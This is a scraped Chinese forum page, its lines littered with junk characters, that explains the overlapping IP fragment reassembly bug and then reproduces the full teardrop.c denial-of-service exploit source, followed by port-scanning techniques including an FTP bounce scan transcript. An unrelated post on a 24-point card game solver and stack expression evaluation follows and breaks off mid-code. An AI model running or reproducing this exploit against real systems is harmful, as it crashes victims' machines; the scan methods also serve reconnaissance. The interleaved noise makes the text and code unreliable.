" s3 ]3 U3 [5 |" L. J是这样处理的:/ s3 R5 }5 R5 j5 a, H. ~, ^
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)- I$ \9 N+ Z' x
{
7 m" g& [4 U% P7 Z  f! [i = prev-&gt;end - offset;
0 }% A; a$ l) L7 R: w& v. |, Aoffset += i; /* ptr into datagram */
- v! y4 c/ o+ a1 nptr += i; /* ptr into fragment data */4 b) V4 C. {3 P9 Z% z/ j# j  d
}</P><P>/* Fill in the structure. */( w# o0 ]! F/ V! d
fp-&gt;offset = offset;
& {7 o5 p/ l0 A4 Wfp-&gt;end = end;
, G6 ~$ n. J/ A& L  T) j! Pfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
# J) @9 p, O/ n5 P0 N/ E第一个碎片:mf=1 offset=0 payload=204 D1 m8 Q$ V; c) i
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
1 F8 A2 c4 O- `. f9 Foffset=0; L& z% q1 u9 b- Y: T" I# ^4 N
这样第二个碎片的 end=9+10=19
% l1 f1 p- K% n8 U4 H# t9 S4 xoffset=offset+(20-offset)=201 u( m$ ~5 {* @1 a- N* d
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>6 M9 a: h: |3 {' \% Z! c& e% N
/*% S8 }0 O" G) P: R# Q! s
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97% T* P) f( t- I- _
*) |! F; Z* j& {2 T& h. T( n
* Linux/NT/95 Overlap frag bug exploit
0 i4 r9 ~4 h9 p. ?8 w& z*
% X! a- n$ Q; S/ K1 n0 C* Exploits the overlapping IP fragment bug present in all Linux kernels and
% q8 ]; h9 _& d7 G! ]- B5 W* NT 4.0 / Windows 95 (others?). c' N5 H1 u3 m8 ^5 D5 `" j' C
*
- E* Q; W8 G! u; N* Based off of: flip.c by klepto
& j9 m3 G1 Y0 h+ u! l* b* Compiles on: Linux, *BSD*5 b, c& s2 Z9 K4 m" J1 Y/ A
*6 ^% a8 F' }5 p" h
* gcc -O2 teardrop.c -o teardrop  M, l  n: z$ \" e
* OR5 W/ Q" ?. @$ s- i
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
* X! z3 E  P3 C# u- I, N*/</P><P>#include <STDIO.H>
! u/ \! i+ {6 ]* Q' u3 b& p4 R#include <STDLIB.H>
" v9 J  s' _0 G: O#include <UNISTD.H>
" }/ I0 }1 o7 i: ~#include <STRING.H>5 ~5 [4 \6 J9 W) y4 V
#include <NETDB.H>
/ S8 U; h% O2 I#include <NETINET in.h>
; s' B, t( ^; V4 ?#include <NETINET udp.h>1 u+ E& J" C9 X3 r: h
#include <ARPA inet.h>
: d' d4 R9 N' [+ w- Z! Y#include <SYS types.h>
4 D- c( V) G  R8 w( [0 I#include <SYS time.h>1 `1 @! q' z8 {" @
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
2 }" e' n" {' T. q/ G9 h/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */$ K1 ]/ F1 J  k5 Z
#define FIX(n) (n)
$ b; h+ d9 S+ \6 P#else /* OpenBSD 2.1, all Linux */
0 k, S) N8 t( R#define FIX(n) htons(n)3 d1 Z8 k& K: U8 ~0 y, Y1 r( ?5 |5 C
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */: F5 e6 i* P( n) T6 z
#define IPH 0x14 /* IP header size */7 K2 W; n& @4 [! j6 Q% d
#define UDPH 0x8 /* UDP header size */
$ F8 I/ F1 N+ D. B#define PADDING 0x1c /* datagram frame padding for first packet */
: ^0 B; x( ?5 h3 |* o#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */' e" u0 S. }+ \
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
3 z" K& ^8 ~, S4 Z* withstand maybe 5 or 10 sometimes... Experiment.# P1 d# N4 \" z, a' B* S
*/</P><P>void usage(u_char *);
" n% P9 H+ D% L1 [; C0 z* Tu_long name_resolve(u_char *);
% v2 w6 Z# U; x4 y/ n8 w  G4 Z5 bu_short in_cksum(u_short *, int);/ w% q. M# r- _- v6 w# C9 ]# ]! G+ Y, _$ Y
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)* v2 C. D3 F/ G( Y) f
{1 ^* N+ ~$ y- [/ ~8 y+ d. X9 H
int one = 1,
  o6 A8 ^6 ^6 o  R! Q- F3 H+ d* p- ncount = 0, 3 f( L0 ]7 W2 D  O8 ^' H& i
i,
1 _, N. _. n. j6 y9 p' ?0 Lrip_sock;
$ j( @- z: ]. _2 zu_long src_ip = 0, dst_ip = 0;: _4 @. a0 J6 J! h: r1 O' G3 s9 U
u_short src_prt = 0, dst_prt = 0;
! Y/ P1 w! ]. |% i6 ]: Dstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW$ y0 y. a# h- Z( P* D' O0 `
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
. y4 C. z" Z* l- U8 ]* f{4 c- R/ F7 l- w. W  b. g) o6 ?! h
perror("raw socket");3 q$ N1 y7 h+ s# V
exit(1);8 N1 u8 P5 q8 J8 t, w& k* [
}
" K+ {6 p& q% F3 `, ?//由系统处理IP校验和。7 C8 H1 r9 ^8 Y/ w4 Q! p# h
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
9 {' S. i" ?: b( ~2 k8 c&lt; 0); k  z6 {9 @% t, J
{7 ?% z4 ?2 O0 i6 w6 G4 H
perror("IP_HDRINCL");
* e6 Y* J* n& }: h1 M9 I6 N1 v. x# {exit(1);
$ v+ s* f- e9 R+ o0 d9 E- B}</P><P>if (argc &lt; 3) usage(argv[0]);3 \$ b% |$ q6 ]% E4 E
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
0 f# {- V! J2 @6 @* ~( O" x' ^{: _, f/ w* N9 B, I! }
fprintf(stderr, "What the hell kind of IP address is that?\n");
8 L5 H, G, T' N0 W) lexit(1);4 R' A4 w9 E% `0 l/ I" c0 @
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
2 i! t3 x4 w4 d7 U' S{( {; B: l$ W/ k- E2 S
switch (i)
4 u, Y* J& X+ E- G' I3 \9 H" M{
) m/ @5 A* O5 V# ~4 W- ?case 's': /* source port (should be emphemeral) */0 N3 O6 P' l. U, g3 e' P% ?
src_prt = (u_short)atoi(optarg);& c$ V" T0 S6 A4 L+ x
break;
$ X; n8 ~# N$ Y7 X6 J8 M5 ~case 't': /* dest port (DNS, anyone?) */" s7 ~% t8 N. P5 e0 {4 ?& O5 H
dst_prt = (u_short)atoi(optarg);
5 h+ ^) `% F: }7 T8 Ibreak;2 X1 i0 e% T: Q. `+ x: M
case 'n': /* number to send */  r. p  i0 S3 d* L( y
count = atoi(optarg);% h4 ^$ }& H7 Q
break;
& t! ?/ X- n4 K% Udefault :
, ]' ?8 g) Q) f1 W, ausage(argv[0]);
8 j7 N4 S* I- }1 o7 Q4 L: b# Tbreak; /* NOTREACHED */
$ @0 h0 J* O+ t, D& x}
, G9 X9 `% q, a2 v}</P><P>srandom((unsigned)(time((time_t)0)));
  y5 a6 j1 K# l5 z$ kif (!src_prt) src_prt = (random() % 0xffff);
) M/ [# p# M' C' {  ^if (!dst_prt) dst_prt = (random() % 0xffff);0 y( S; f+ M5 L* T, i3 Y$ c1 b5 z
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");* j: G9 q4 I+ p0 g4 b
addr.s_addr = src_ip;0 n: _4 k& `& S$ V8 w
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
9 g" g  S0 u6 F: G# p  |8 Yaddr.s_addr = dst_ip;9 y. m2 w* m. ]9 g
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
9 Q5 D$ c; U* r# Efprintf(stderr, " Amt: %5d\n", count);. m6 u1 u: F3 I2 F* c
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
% l0 O- s) r5 E0 P2 z9 A, g, l  `{
0 z% M; O# I+ \. F! h, Osend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
8 T9 P/ x) b' l  kfprintf(stderr, "b00m ");
) {& O& Q9 ^# ?usleep(500);
8 Z) H! b1 w! N$ L/ X3 E}
4 y4 p: N% _7 ]) A$ g# Nfprintf(stderr, "]\n");
+ A2 }$ K& ]; V# k- P. |; Yreturn (0);8 E* i) J2 Z" L
}</P><P>/*
  u5 R5 W3 u8 Z% w; s0 G$ l1 q* Send two IP fragments with pathological offsets. We use an implementation) J: i6 B. d- K. l2 ^
* independent way of assembling network packets that does not rely on any of
5 K8 p2 t1 r. p( W; \2 [- i# F8 d* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).0 x, f" u0 v. {
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
5 t( N! d5 E* Y; pu_short dst_prt)
# B( I. r9 x1 J3 O: |3 f{
; x1 Z' n1 W/ U8 n6 e% Nu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */2 h" S+ [- c" ?0 q  D% W* s1 s
u_char byte; /* a byte */3 S1 f- {( {5 s6 {! S
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;7 Q( [) c5 n* A- D, Z2 b
sin.sin_port = src_prt;) I" V) h5 S: ^6 z& p; f
sin.sin_addr.s_addr = dst_ip;</P><P>/*
" C4 C7 a' q  v$ F/ W, E! t2 A* Grab some memory for our packet, align p_ptr to point at the beginning+ I! J+ X& S" L$ Y
* of our packet, and then fill it with zeros.5 e# p5 I* K" M. @' t
*/# i* y6 @" @1 x9 n5 |/ w  y! ^, X
packet = (u_char *)malloc(IPH + UDPH + PADDING);2 Q8 o5 |4 P9 l- C
p_ptr = packet;8 p. w; i: y8 |4 i% ~$ M7 K
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
0 }, S0 H; y8 G4 h7 qmemcpy(p_ptr, &amp;byte, sizeof(u_char));4 d' |8 _- y& U8 \3 C; l( w
p_ptr += 2; /* IP TOS (skipped) */5 \! f& T% Z' T# g; Z4 _4 ]
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */) Q6 f& i5 H: C
p_ptr += 2;* o  ?' ~' h3 H& S5 e
*((u_short *)p_ptr) = htons(242); /* IP id */
8 U8 v; D' V/ J6 ]p_ptr += 2;
1 b+ g5 i$ c3 N8 c% a*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
& O5 l; H) P7 X( J- A7 @  l1 qp_ptr += 2;
* F6 D/ g" ]! I& e" U*((u_short *)p_ptr) = 0x40; /* IP TTL */0 T( @' `" R; s& o! w
byte = IPPROTO_UDP;6 P  u- V6 S3 k5 R5 N
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));: e- E8 b% }; }, Q& r( C
p_ptr += 4; /* IP checksum filled in by kernel */
8 u2 R' y% H6 }! T*((u_long *)p_ptr) = src_ip; /* IP source address */
$ v, {- o1 Q+ {( c. Np_ptr += 4;, ^* V( D+ e5 b/ r4 \+ m- x. u
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
# D! z* s, L7 G. Rp_ptr += 4;
# q/ V4 _4 ]* f/ F  y8 S*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */# X  r# {- P% R. G
p_ptr += 2;
% A9 y4 L9 t. v5 F6 t# Y*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
, i. ?. f3 J% n8 i- N: Yp_ptr += 2;  u! N& p% r6 Y" {8 o. S
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,2 i: o, T$ v$ u4 x& S9 w
sizeof(struct sockaddr)) == -1)
* f  V0 l% s% ^& a4 A$ _, U{
3 ]" o1 O& |8 y# e* e( D( T4 [" M+ wperror("\nsendto");3 \7 L' q: x# w' k
free(packet);8 K' t& e; X6 ?
exit(1);6 I! Z$ M1 X  B& O' F8 b- M! C
}</P><P>/* We set the fragment offset to be inside of the previous packet's
- M& W' q1 |; u) D, P1 M3 [/ n  M* payload (it overlaps inside the previous packet) but do not include( p. M9 Y) P# a6 g/ F! x: @; E
* enough payload to cover complete the datagram. Just the header will
8 s2 S, m! i1 `* do, but to crash NT/95 machines, a bit larger of packet seems to work+ d, X; \+ X8 k5 A* e
* better.6 R7 v$ \& Z; g8 U! S/ }& F
*/3 y/ y! E+ a  n. {9 \2 [
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */' |/ I) l# [2 {5 }
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  L' k5 r5 f3 k+ z! pp_ptr += 4; /* IP offset is 6 bytes into the header */( X( s: u4 Q; K0 K- q" M, q* L
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
9 u( c  q/ `* ^! i. c8 isizeof(struct sockaddr)) == -1), O7 B: o& ~. c) H. a, ^; O
{8 |" Q7 P/ [6 h7 [  w& b7 d
perror("\nsendto");
( U0 m- Y# M, H6 }# \  Q; ^! qfree(packet);
% c# m9 B5 N1 @( iexit(1);
2 Q- J% p* }0 n" n& O}! x& L+ V1 i1 _% y# E0 N
free(packet);
  O1 q5 G5 p- K6 v1 L}</P><P>u_long name_resolve(u_char *host_name), G' Y( p$ K4 E" Z; y
{
/ S& _3 I% ?' q+ u3 Q8 ~struct in_addr addr;
0 i6 n( U3 n+ K/ s: d- Astruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)4 U- S" I5 p5 _9 W
{/ o3 b: }% A/ G+ w/ ]  A$ k
if (!(host_ent = gethostbyname(host_name))) return (0);
; z6 }" x3 K9 G) dbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);' t3 D1 U: n5 s. n( y- P
}
: g6 M" G+ V' B( O% Q, Greturn (addr.s_addr);% c  \5 j6 [5 S! @4 W3 O% v/ J
}</P><P>void usage(u_char *name)
* Z" G. J; }) k0 }( ~1 y{
9 F+ W3 `2 b; V' c  l" Jfprintf(stderr,
; [2 a% c! \: Y, D9 Z5 A"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",* z; {7 m0 |; T0 C+ C
name);. _9 z$ F6 b" U, Q$ w
exit(0);0 t" o* r9 o+ `2 @+ x
}</P><P>- a" r8 M$ h4 U/ B
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: , ~  L8 r# S- z2 ~. O' Q1 Q
(1) Half-open(半打开)
9 V, i# \$ M* T+ ~% u利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN)," N; o; o) M, R2 U1 x* J  `$ P
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner1 v+ U$ \, _6 C/ q
利用了FTP的port命令,例如可以这样作:4 d* v# n9 v2 z* i# r
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
: J& \" y) E. h, y6 M2 B) g# y值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
6 g* a! P% v: t该端口无服务。
1 N' h+ F0 j; X& Btelnet 192.168.1.13 21- Z/ u/ R' W* s& m
Trying 192.168.1.13...+ t6 }% n6 H  x- k0 f4 B
Connected to pp.bricks.org.
8 t" k, R2 v9 O) e8 z9 q# C  pEscape character is '^]'.
1 D; S1 g1 y. s4 Y- r220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 1 b1 L! u& T; T2 v
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous8 n4 f6 P! I4 p0 o* L3 `4 {
331 Guest login ok, send your complete e-mail address as password.8 a% M; x+ G, w) H
pass aa@aa.aa1 i  a0 W+ M3 D/ H, J4 n
230 Guest login ok, access restrictions apply.( _/ m6 {* M: i! o
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.  F5 v- a, ~( c7 e' E: l; q5 ]
425 Can't build data connection: Connection refused.; C* b4 `/ a" a# [
//该端口未活动 5 E7 x: o3 `" c
150 Opening ASCII mode data connection for file list.6 \: n# Q0 B& k. U2 {  a
226 Transfer complete.
; ?1 U! n/ _5 \, @4 S//该端口活动中
% c! |2 I3 F' z4 D% P但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
7 R, G8 U$ v9 F  O! p  }5 K, ESYN|FIN ACK or SYN|ACK* RST/ j0 }1 C5 ^% k1 _7 z# X# Q
ACK Nothing RST: }# X5 j& g/ y7 e. w
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport+ Z5 L% f  K: n. c9 l: T6 a
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,9 j5 _0 g) M7 H% @
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认$ P% M& E/ x; s/ K' F* X  g
定它在向你做portscan。</P><P>notes:5 `& H" H/ Q3 w* t/ e
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
2 u) F( w& ]  V% R8 z1 v! ^而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
0 @$ M- E$ x5 V$ D8 ]都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>. c( H0 n/ s' l8 y
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
. S# `- I7 q- \9 K/ F3 r# f' ]8 O* e! N, \. c; c0 o$ ^" \& K# ?/ g
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 ' [" z  O: `% l" {  f9 ]
首先穷举的可行性问题。我把表达式如下分成三类——# l9 Z/ T: ^) `8 ^4 I0 U& C* [# f
<FONT color=#ff0000>1、 无括号的简单表达式。
: H3 b: l. b% m2 p+ A0 A: [2、 有一个括号的简单表达式。
6 C0 A$ h2 l4 [% b' f$ G' q( ~3、 有两个括号的较复4、 杂表达式。
. |& ^! e( h/ k8 l</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:/ I" h( H4 F( R$ l
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */$ M& z# h) P9 G7 @/ P3 ?1 R+ Z" I
/* c[] 存放四张牌的数组 */
- c  m* P9 O0 w% u2 n/* k[] c[]种四张牌的代号,其中k[I]=I+1。+ i' G; o/ ]: \$ O& X
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */  \0 D) j1 O, i8 t2 k( w% O; \
/* kans[] 暂存生成的排列组合 */1 M+ {' q' ?* ^, L0 _
/* j 嵌套循环的次数 */( K7 ]1 n6 ?* c3 y
int fans(c,k,ans,kans,j)
" R3 n# h& K, R9 o9 G! Uint j,k[],c[];char ans[],kans[];
% l1 i* a: E, V( N+ r+ j, F{ int i,p,q,r,h,flag,s[4],t[4][4];* x* ^3 ~6 o+ t. q& {
for(p=0,q=0;p&lt;4;p++)
1 Z! q8 N  {7 _{ for(r=0,flag=0;r<J;R++)4 J7 @0 Y; e9 Z6 W4 \6 `1 H; F
if(k[p]!=kans[r]) flag++;; j/ b  f- F$ r3 B* O0 P# R5 G
if(flag==j) t[j][q++]=k[p];! r) e- h& W$ \. W! E& i: v
}; l' H6 {1 `2 v) x/ ~
for(s[j]=0;s[j]&lt;4-j;s[j]++)
% Y% s* m, l* |4 I# p  ~. G{ kans[j]=t[j][s[j]];  V5 f5 s  x' B: X+ g8 w7 _$ n
if(j==3) { for(h=0;h&lt;4;h++)( @! Y1 L9 [1 d
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
8 S$ d. p3 U/ q4 B达式中的位置 */9 {# _9 R3 k  [. o
for(h=0;h&lt;3;h++)
' l6 Z6 M) D4 u2 M8 p% H2 A: ksymbol(ans,h); /* 在表达式中添加运算符号 */) }6 L5 b4 ]$ C. L( q$ A1 H
}8 t/ D, t$ w! B) q; V5 j
else { j++;# a, R5 R2 f& ^6 v9 Y8 Z9 K
fans(c,k,ans,kans,j);
# K% f! K* k! `  a& T* Vj--;& ~7 \' O: `$ |
}. j5 w" A7 _1 H! u
}
. E6 H1 D# d7 t5 M) Q$ z}</FONT>- Z1 j" n; @8 E2 P+ Q. H& L0 {

6 }6 }) E" ^. B( M* Q' @6 R7 [  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:5 R3 n, d1 W3 O) H- {

' Y' g) ?/ I# l* X/ [6 |/ C( C<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
' _" d8 X( r: \: }0 Wint sans(ans,sy,j,h)
) _& W" w3 q$ Y+ u0 bchar ans[],sy[];int j,h;
2 S' w- ?- ^/ k% a{ int i,p,k[3],m,n; char ktans[20];
6 L, }0 {" {9 afor(k[j]=0;k[j]&lt;4;k[j]++)
2 f  q+ [3 O( `3 j- `- `{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
( a( O: c  ]6 y  J2 `, V5 a+ A- h% B这里的三个运算符号分别存放在1、3、5位*/ # q' e6 e5 w) S
if(j==2)
7 f% @$ j6 c2 H; X{ ans[5]=sy[k[j]];
! i, ]% R2 i' L7 a' k! T& Y/* 此处根据不同的表达式形式再进行相应的处理 */6 P* {* F" {1 p; X7 ^4 x& {/ F, X" X9 e
}
, c; ]/ S9 P) V0 relse { j++; sans(ans,sy,j--,h); }
8 p9 o- {/ p* B, I) o8 Q}. t$ q3 Y8 q1 n9 F: Y& O( S; ?
}9 V: p8 ~" M, N/ b, J5 @3 ?

' X; b! T6 `. N</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。2 `7 B$ d4 z( n: z$ p0 \5 t
for(m=0;m&lt;=4;m+=2)
+ S& \$ d( |$ `3 ^  v2 d3 c0 l$ s) Mfor(n=m+4;n&lt;=8;n+=2)
1 S3 g6 C+ N2 \+ W. O  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。1 Q/ e1 N1 j# n

" \$ b9 J9 U+ S( i1 T/ v  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。& H8 @) o" h) N+ M* B1 v1 U( R: A/ W* j
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
0 l1 {0 [0 K- d在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。, {/ k0 h4 Y4 z  l
" q% N' j6 ^7 v8 s( B
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
0 D( c& O7 J/ E3 z* ]- K* g" u% H& Z9 u* h
  那么作为栈的著名应用,表达式的计算可以有两种方法。
) t4 j8 \6 X/ k
- L  U! K& R, I3 J" u. t. L  <FONT color=#ff0000>第一种方法——</FONT>
! V4 x9 t; r4 v  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。' z" C1 T& O: A' K) G9 Q( ~. i
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
% E/ g  b; Q1 d  `; G! k1、 若W为操作数7 P) M! `9 J' T8 A, k. K. a
2、 则将W压入操作数栈OVS* d' `3 S% q! R* D
3、 且继续扫描下一个字符7 [* @: \$ ?* L/ K* ]0 x0 j; o7 N6 d
4、 若W为运算符! Y4 L; C' b7 y8 L: [+ d( X0 n- O
5、 则根据运算符的性质做相应的处理:
% ?4 d4 K% E0 B! N$ C0 R$ Z(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。- @( T4 i- Q1 _+ J$ R
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
' M/ w+ h: A# E1 s& P(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。  P/ G4 S$ l, L" p/ D' c" R
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。' r% N' H  K2 V& N, K- {

/ ?) u7 M/ l/ k6 Y, Z) k+ I; G<FONT color=#ff0000>  第二种方法——</FONT>. l# g5 J8 B/ C( r& l" t
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
& x6 m6 f# w6 S5 D- R* ~0 ]. N; q+ }; s6 a
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
& Q# c2 k) K  ~3 R: g# y$ B3 [% M! m) @1 |* |
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
* s3 S5 E+ X( p表达式 波兰表达式
6 C: K8 z3 {: Z$ K  {A-B AB-4 F. o! Q  K( G  T
(A-B)*C+D AB-C*D+
7 [* |" e; k" f# dA*(B+C/D)-E*F ABCD/+*EF*-: t. N% [  \. P- E" g. k
(B+C)/(A-D) BC+AD-/
3 T$ ^6 l4 U* U" I* v  z5 m
0 C8 g9 P8 [2 D: p3 h: G  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
( w" C. o1 b0 ^7 s6 O% X5 l6 d! ^3 l5 c( ^, a2 ?7 w( g
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。% W2 V+ b! ]. O: @8 k! }6 |4 D$ s
" i* U0 W+ Y" H6 x
  下面给出转换和计算的具体实现程序——
' \9 O  _0 [1 g& e( p2 ?: f: x9 J4 w- b9 \
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */, M3 {# {0 W# L- b& m$ X! _3 M) M
int first(char c)
. \6 ^' G) k9 U. e1 n9 b2 d6 L& F+ {8 X{ int p;
